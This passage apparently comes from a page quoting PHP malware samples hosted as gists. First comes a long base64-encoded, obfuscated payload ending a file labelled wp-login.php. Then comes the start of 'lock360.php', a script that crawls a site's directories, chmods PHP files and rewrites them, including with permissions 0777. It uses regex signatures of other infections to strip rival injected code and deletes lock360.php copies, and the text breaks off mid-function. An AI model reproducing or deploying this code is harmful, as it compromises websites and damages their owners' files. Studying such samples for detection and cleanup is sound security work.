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"));
?>
view raw wp-login.php hosted with ❤ by GitHub

/lock360.php

<?php
function i($i)
{
echo '{->|' . $i . '|<-}';
}
function searchDirs($dir, &$info)
{
$files = scandir($dir);
foreach ($files as $file) {
if ($file == '.' || $file == '..')
{
continue;
}
$real_dir = $dir . "/" . $file;
$real_dir = str_replace("//", "/", $real_dir);
if (is_link($real_dir))
{
continue;
}
if (is_file($real_dir) ) {
$info['file_count']++;
$size = filesize($real_dir);
if($size < 1000000 && stripos($real_dir, '.php') !== false){
@chmod($real_dir, 0644);
$content = file_get_contents($real_dir);
if(pass($real_dir, $content, $info))
{
continue;
}
if (strpos($real_dir, 'lock360.php') !== false)
{
if(@unlink($real_dir) == true) {
$trojan = array(
'path' => $real_dir,
'status' => 1
);
$info['trojan'][] = $trojan;
}
}
clearWithPreg($real_dir, $content, $info);
deleteTrojan($real_dir, $content, $size,$info);
}
continue;
}
searchDirs($real_dir, $info);
}
}
function clearWithPreg($real_dir, $content, &$info)
{
$feature = array(
array("check" => '$bkindex', "preg"=>'\$index = \$_S.+?ht,0444[^}]+}[^}]+}'),
array("check" => '$bkindex', "preg"=>'\$index = \$_S.+(?=function wp_schedule_event)'),
array("check" => '$bkindex', "preg"=>'if\(function_exists\(\'sys_get_temp_dir.+(?=function wp_schedule_event)'),
array("check" => '$bkidex', "preg"=>'\$inxdex = \$_S.+\'292\'\); } }'),
array("check" => '//ckIIend', "preg"=>'\/\/ckIIbg.+?\/\/ckIIend'),
array("check" => '//ckIIbg', "preg"=>'\/\/ckIIbg.+?nowIndexFile,0555.+?}.+?}'),
array("check" => '$ruzhu_php_jm', "preg"=>'\$do.+?ruzhu_php_jm.+?2018-09-10 20:28:01"\);}'),
array("check"=>'scp-173', "preg"=>'<\?php.+?scp-173\?>'),
//array("check"=> 'x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6', "preg"=>'\$ZdJ=.+?Qj=="\);'),
array("check"=> 'x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6', "preg"=>'<\?php error_reporting\(0\);.+?\?>'),
array("check"=> '\x34\x35\x34\x33\x63\x68\x64\x69\x72\x65\x78\x65\x63\x70\x68\x70\x70\x73', "preg"=> '<\?php error_reporting.+?\);}'),
array("check"=> 'PCFET0NUWVBFIEhUTUwgUFVCTE', "preg"=> '<\?php.+?PCFET0NUWVBFIEhUTUwgUFVCTE.+?>'),
array("check"=> 'file_get_contents($index_path)', "preg"=> '<\?php.+?file_put_contents\(\$index_path, \$index_hide\).+?>'),
array("check"=> 'open_cache_ruzhu_phpcode', "preg"=> 'error_reporting[^}]+?open_cache_ruzhu_phpcode.+?huan_yuan_htaccess.+?}'),
array("check"=>'@include "\\', "preg"=>'@include.+?;'),
array("check"=>'global $O', "preg"=>'<\?php @header\(.+\$O\[[0-9]{1,2}\]\);} \?>'),
array("check"=>'/* Custom write log to ensure the operation of the website */', "preg"=>'\/\* Custom write log to ensure the operation of the website \*\/.+\$shut\[1\]\(\);'),
array("check"=>'function_exists(\'copy\')', "preg"=>'if\(function_exists\(\'copy\'\)\){[^}]+}'),
array("check"=>'$get_size_of_file', "preg"=>'\$get_size_of_file.+?call_user_func.+?;}}'),
array("check"=>'/* index-configs */', "preg"=>'<\?php \/\* index-configs \*\/.+eval.+\?>'),
array("check"=>'$ihx .= "define', "preg"=>'\$i = .+?\$ihx \.=.+?}.+?}'),
array("check"=> '@include base64_decode("', "preg" => '@include base64_decode\("[^"]+"\);')
//array("check"=>'include "', "preg"=>'include ["\'][^\']+?[^.php]["\'];'),
);
foreach ($feature as $item) {
$decode_item = $item['check'];
if (strpos($content, $decode_item) !== false){
//$content = file_get_contents($real_dir);
$old_length = strlen($content);
$content = preg_replace('/' .$item['preg'].'/si', "", $content);
@chmod($real_dir, 0777);
$new = @file_put_contents($real_dir, $content);
$hide_code = array(
'path' => $real_dir,
'feature' => $item['check'],
'old_length' => $old_length,
'new_length' => strlen($content),
'written_length' => $new
);
$info['hide_code'][] = $hide_code;
}
}
}
function deleteTrojan($real_dir, $content, $size, &$info){
$content_md5 = md5($content);
